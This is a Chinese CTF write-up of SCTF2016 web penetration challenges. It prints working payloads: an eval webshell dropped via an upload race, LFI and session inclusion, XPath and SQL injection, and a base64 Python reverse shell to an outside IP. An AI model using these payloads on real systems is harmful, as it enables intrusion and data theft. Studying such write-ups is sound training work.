目錄
SCTF2016 痛苦的滲透之路
0x00 前言
0x01 Pentest-homework-200
SCTF{g00d_Good_Stu6y}
0x02 Pentest-sycshell-200
0x03 Pentest-DrugMarket1-300
黑科技 : $IFS 代替 空格
SCTF{b68181af58bdf261714942f0d1a823be}
0x04 Pentest-ETO-200
SCTF{0f61ce4eb984a4a6d3aaa31f779533df}
0x05 Pentest-Hackme-300-未成功
0x06 写在最后
首頁 後端開發 php教程 SCTF2016 痛苦的滲透之路

SCTF2016 痛苦的滲透之路

Jun 20, 2016 pm 12:28 PM

SCTF2016 痛苦的滲透之路

0x00 前言

這次的CTF玩的很酸爽,一共7個 WEB滲透 類的題目,這也是痛苦的開始。好好的審計,為何加那麼多高門檻。

0x01 Pentest-homework-200

http://homework.sctf.xctf.org.cn/

打開完整,就是登陸頁面,進入註冊。名字,年齡,上傳圖片。

順利登陸之後是顯示一張圖片。還有一個homework的鏈接。

點擊homework鏈接之後是一個包好頁面的網址。

http://homework.sctf.xctf.org.cn/homework.php?homework=homework.txt
登入後複製

可以判定這是一個文件包含漏洞的腦洞。馬上試試上傳木馬圖片來包含。

必然的繼而,包含不成功。

讀取源碼來瞅瞅上傳功能出了什麼問題。

http://homework.sctf.xctf.org.cn/homework.php?homework=php://filter/convert.base64-encode/resource=index.php
登入後複製

果斷成功讀取。然後把該讀取的源碼全都download下來。

通過審計代碼

if(isset($_POST['upload'])){$filename = $_FILES['uploaded']['name'];$filetype = $_FILES['uploaded']['type'];$filesize = $_FILES['uploaded']['size'];$tmpname = $_FILES['uploaded']['tmp_name'];$uploaddir = './upload/';$target_path = $uploaddir.basename($filename);$fileext = substr(strrchr($filename,"."),1);if(($fileext == 'gif')&&($filetype == "image/gif")){    {        if(move_uploaded_file($tmpname,$target_path))        {        }    }    $im =imagecreatefromgif($target_path);    srand(time());    $newfilename = strval(rand()).".gif";    $newimagepath = $uploaddir.$newfilename;    imagegif($im,$newimagepath);    unlink($target_path);}else if(($fileext == 'jpg')&&($filetype == "image/jpeg")){...
登入後複製

果然有點意思,上傳的圖片都經過 imagecreatefromgif等函數處理過了。

但是這不是重點,重點是前面的 move_uploaded_file($tmpname,$target_path)

熟悉php代碼的應該都知道,只是已經成功上傳圖片了的。

成功上傳之後再進行處理並刪除源文件 unlink($target_path);。

所以,這個題目是時間競爭,拼網速,拼人品。

上傳寫shell腳本的圖片馬

fputs(fopen(base64_decode(dmlyLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWyd2aXJpbmsnXSk7Pz4tLS0t));
登入後複製

brup 多線程訪問

http://homework.sctf.xctf.org.cn/homework.php?homework=upload/virink.jpg
登入後複製

註冊上傳。。如果人品好,很快就成功了。

後來,發現,寫的shell莫名其妙就沒了,目測有人攪屎,然後我就寫到/tmp去了。2333333

webshell成功上傳了,但是發現,很多功能都被閹割掉了。

ddisable_functions= passthru,exec,phpinfo,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pcntl_exec
登入後複製

然後就是利用 PHP绕过open_basedir列目录黑科技列目錄。

virink=printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$file_list = array();$it = new DirectoryIterator("glob:////home/wwwroot/default/web/*");foreach($it as $f) {    $file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {    $file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";}
登入後複製

然後就是讀取flag

virink=echo file_get_contents('/home/wwwroot/default/web/4ff692fb12aa996e27f0a108bfc386c2');
登入後複製

SCTF{g00d_Good_Stu6y}

0x02 Pentest-sycshell-200

http://58.213.63.27:61180

右鍵查看源碼

<!-- 内部系统资料:http://sycshell.sycsec.com:61180/ -->
登入後複製

改Hosts,然後用域名訪問。

再開源碼,解密jsfuck編碼,得到

/W0Ca1N1CaiBuDa0/read.php?f=index
登入後複製

代碼審計,繞過後包含。

源碼:

<?php    show_source(__FILE__);    $pass = @$_GET['pass'];    $a = "syclover";        strlen($pass) > 15 ? die("Don't Hack me!") : "";        if(!is_numeric($pass) || preg_match('/0(x)?|-|\+|\s|^(\.|\d).*$/i',$pass)){        die('error');    }        if($pass == 1 &&  $a[$pass] === "s"){        $file = isset($_GET['f']) ? $_GET['f'].'.php' : 'index.php';        @include $file;    }?>
登入後複製

這裏有一個大腦洞!!!!有版本限制的。

根據提示:sycshell_tip 审计那部分好好看php的底层代码,另外方便大家一下58.213.63.27:61180/phpinfo.php

首先可以得到php 5.3.29版本。

版本漏洞, %0b(\v)可以繞過正則的 \s

/?pass=%0b.1e1
登入後複製

php底層源碼

while (*str == ' ' || *str == '\t' || *str == '\n' || *str == '\r' || *str == '\v' || *str == '\f') {    str++;    length--;}
登入後複製

這個題目的另一個大脑洞就是 phpinfo()+Lfi

然後就是爆破吧、、2333

$pass繞過這個腦洞與phithon牛的一道題目類似的

https://www.leavesongs.com/PENETRATION/some-sangebaimao-ctf-writeups.html?lan=tw&lan=tw&lan=tw

题三: PHP类型与逻辑+fuzz与源代码审计的*0x03 函数特性导致绕过*部分。

0x03 Pentest-DrugMarket1-300

Drug Market: http://www.spentest.com/

一開始就是一個腦洞,偽404 Not Found頁面。我曾經吃過這方面的虧,然後就默默地看源碼,點開隱藏的鏈接了。

http://drug.spentest.com/
登入後複製

點order可以提交數據,然後沒別的什麼功能了。可能存在xss。

我繼續看源碼,有發現一個鏈接。

http://msgboard.spentest.com/
登入後複製

打開頁面直接跳轉到

http://msgboard.spentest.com/index.php?action=login.php
登入後複製

很明顯的一個文件包含漏洞。到處看了下,沒有上傳的地方。

再來研究頁面功能,客戶登陸,隨便填寫用戶名和聯繫方式之後發現存在session。並且用戶名和聯繫方式並沒有過濾。

初步判斷是包含session。習慣性包含/tmp/sess_xxxxxxxxxx,發現並不存在。絕逼改地方了。

然後就是要尋找session的存放地址。首先就得讀取apache的配置文件。

http://msgboard.spentest.com/index.php?action=../../../../../../../../etc/httpd/conf/httpd.conf
登入後複製

得到

<VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    DocumentRoot /var/www/html        <Directory "/var/www/html">    AssignUserId apache apache    php_value session.save_path "/var/lib/php/session"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName www.spentest.com    DocumentRoot /var/www/webhosts/www        <Directory "/var/www/webhosts/www">    AssignUserId www www    php_value session.save_path "/var/lib/php/session_www"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName drug.spentest.com    DocumentRoot /var/www/webhosts/drug        <Directory "/var/www/webhosts/drug">    AssignUserId drug drug    php_value session.save_path "/var/lib/php/session_drug"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName msgboard.spentest.com    DocumentRoot /var/www/webhosts/msgboard        <Directory "/var/www/webhosts/msgboard">    AssignUserId msgboard msgboard    php_value session.save_path "/var/lib/php/session_msgboard"</VirtualHost>
登入後複製

順利知道session的存放地址為 /var/lib/php/session_msgboard

Username 或者 Contact 寫入

http://msgboard.spentest.com/index.php?action=../../../../../../../../var/lib/php/session_msgboard/sess_rb2rbfrie8rku2n81dq52vghp0
登入後複製

然後就是進一步收集信息

virink=phpinfo()
登入後複製

得到

disable_functions=passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
登入後複製

其他站點都沒有訪問權限,默默地閱讀本站點的源碼。得到數據庫連接信息。

因為這個題目已經被FB了,默默地去收集前輩們的信息。/tmp目錄是我的最愛。。。23333

看了一大堆沒用的東西,同時也得到了一些有用的東西,比如mysql的root密碼。。23333

當時腦抽了,沒有好好保存,在/tmp被莫名其妙地清空後找不到mysql的數據庫相關信息了。

思路中斷,始終不知道如何執行命令。

反復研究提示

  1. 这是渗透题哟,所以请不要囿于你当前的Shell之中,想办法渗透到DRUG站点
  2. 为了让题目更加接近真实环境,所以防火墙规则较为严格

最後又回到XSS上面了。因為看過drug的數據庫,並沒有管理員用戶表。

orderX來X去沒效果,然後在小夥伴提示的情況下,X進adminconfig裏面,成功獲取cookie!

進入管理員頁面,發現存在一個下載圖片的功能。自己服務器監聽一個端口,服務器訪問自己的服務器,無果。

還是在小夥伴的提示下,監聽80端口。。才發現提示2是這個腦洞。

然後就收到了一個wget請求。

目測存在命令執行漏洞。

黑科技 : $IFS 代替 空格

上傳一個反彈的py腳本

virink=fputs(fopen('/tmp/vvv.py',w),base64_decode(aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zDQpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0Kcy5jb25uZWN0KCgiNDUuNzguMTMuMjMiLDgwKSkNCm9zLmR1cDIocy5maWxlbm8oKSwwKQ0Kb3MuZHVwMihzLmZpbGVubygpLDEpDQpvcy5kdXAyKHMuZmlsZW5vKCksMikNCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7DQo));
登入後複製

然後執行命令

http://vvv/flag.jpg;python$IFS/tmp/vvv.py
登入後複製

成功得到一個bash的shell。

最後在/home/drug找到flag1.txt

SCTF{b68181af58bdf261714942f0d1a823be}

0x04 Pentest-ETO-200

http://eto.sctf.xctf.org.cn/

這個是第一個放出來的題目,卻是最後才折騰出來。

簡單試一下,存在注入。

然後、各種注入都沒有成功。

官方給的提示奇葩:

ETO相关 不用再尝试爆破了哈,另外hint一直都在

從頭到尾都沒有發現hint在哪裡。

結束後才發現,注入報錯的時候,在響應頭裏面返回了一個 hint://user[id=1]

出題人這個腦洞絕逼要給101分,滿分100,多一分是深深的父愛。

在小夥伴的提示下,才知道這是一個xpath注入。

引號被過濾了,但官方的提示2說好好利用已存在的字符。

說明,密碼中的字符在username、email和role中存在的。用substring()函數逐个字符判斷就ok了

http://eto.sctf.xctf.org.cn/?action=user&id=1 and substring(//user[1]/username,1,1)=substring(//user[1]/password,1,1)
登入後複製

用你的神器Burp再次爆破一波吧。

最后跑出32位的密码 : Ywj@4791.d_gToWDmceu.Eali0s2yarn

登陆后就可以得到Flag了

SCTF{0f61ce4eb984a4a6d3aaa31f779533df}

0x05 Pentest-Hackme-300-未成功

http://hackme.sctf.xctf.org.cn

坨坨的不会做,还是注入。注入一向是我的弱项。Orz......

根据官方的提示

1.网站开发人员经常会去看备忘录

2.想办法拿到管理员密码

3.注意观察数据库连接方式

4.XSS

以及小伙伴的提示:PDO注入。

百度得到:PDO方式的数据库连接,可以insert注入。

折腾一番到也弄出个样子。

http://hackme.sctf.xctf.org.cn/index.php?id=0;/*!50000insert*//*!50000into*/beiwanglu(id,time,event)/*!50000values*/(9,'virink',/*!50000select*/(/*!50000hex*/(/*!50000load_file*/(0x2F6574632F706173737764))));%23
登入後複製

成功X到了管理员的COOKIE。。。

再根据提示 想办法拿到管理员密码可以大概知道下一步可能是劫持表单,获取管理员的密码。

然而,我就不会了。

XSS比SQL注入更渣~~Orz.....

0x06 写在最后

最终以0x01-0x04+签到10分的总分 910分结束本次CTF。

脑洞还是不够大,经验太少。而且还犯傻。很多关键的地方和非关键地方都陷入了思维误区,没有小伙伴提示的话,我估计也就能拿个10分的签到分了。

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
4 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

php中的捲曲:如何在REST API中使用PHP捲曲擴展 php中的捲曲:如何在REST API中使用PHP捲曲擴展 Mar 14, 2025 am 11:42 AM

PHP客戶端URL(curl)擴展是開發人員的強大工具,可以與遠程服務器和REST API無縫交互。通過利用Libcurl(備受尊敬的多協議文件傳輸庫),PHP curl促進了有效的執行

解釋PHP中晚期靜態結合的概念。 解釋PHP中晚期靜態結合的概念。 Mar 21, 2025 pm 01:33 PM

文章討論了PHP 5.3中介紹的PHP中的晚期靜態結合(LSB),允許靜態方法的運行時間分辨率調用以更靈活的繼承。 LSB的實用應用和潛在的觸摸

在PHP API中說明JSON Web令牌(JWT)及其用例。 在PHP API中說明JSON Web令牌(JWT)及其用例。 Apr 05, 2025 am 12:04 AM

JWT是一種基於JSON的開放標準,用於在各方之間安全地傳輸信息,主要用於身份驗證和信息交換。 1.JWT由Header、Payload和Signature三部分組成。 2.JWT的工作原理包括生成JWT、驗證JWT和解析Payload三個步驟。 3.在PHP中使用JWT進行身份驗證時,可以生成和驗證JWT,並在高級用法中包含用戶角色和權限信息。 4.常見錯誤包括簽名驗證失敗、令牌過期和Payload過大,調試技巧包括使用調試工具和日誌記錄。 5.性能優化和最佳實踐包括使用合適的簽名算法、合理設置有效期、

框架安全功能:防止漏洞。 框架安全功能:防止漏洞。 Mar 28, 2025 pm 05:11 PM

文章討論了框架中的基本安全功能,以防止漏洞,包括輸入驗證,身份驗證和常規更新。

如何用PHP的cURL庫發送包含JSON數據的POST請求? 如何用PHP的cURL庫發送包含JSON數據的POST請求? Apr 01, 2025 pm 03:12 PM

使用PHP的cURL庫發送JSON數據在PHP開發中,經常需要與外部API進行交互,其中一種常見的方式是使用cURL庫發送POST�...

自定義/擴展框架:如何添加自定義功能。 自定義/擴展框架:如何添加自定義功能。 Mar 28, 2025 pm 05:12 PM

本文討論了將自定義功能添加到框架上,專注於理解體系結構,識別擴展點以及集成和調試的最佳實踐。

ReactPHP的非阻塞特性究竟是什麼?如何處理其阻塞I/O操作? ReactPHP的非阻塞特性究竟是什麼?如何處理其阻塞I/O操作? Apr 01, 2025 pm 03:09 PM

深入解讀ReactPHP的非阻塞特性ReactPHP的一段官方介紹引起了不少開發者的疑問:“ReactPHPisnon-blockingbydefault....

See all articles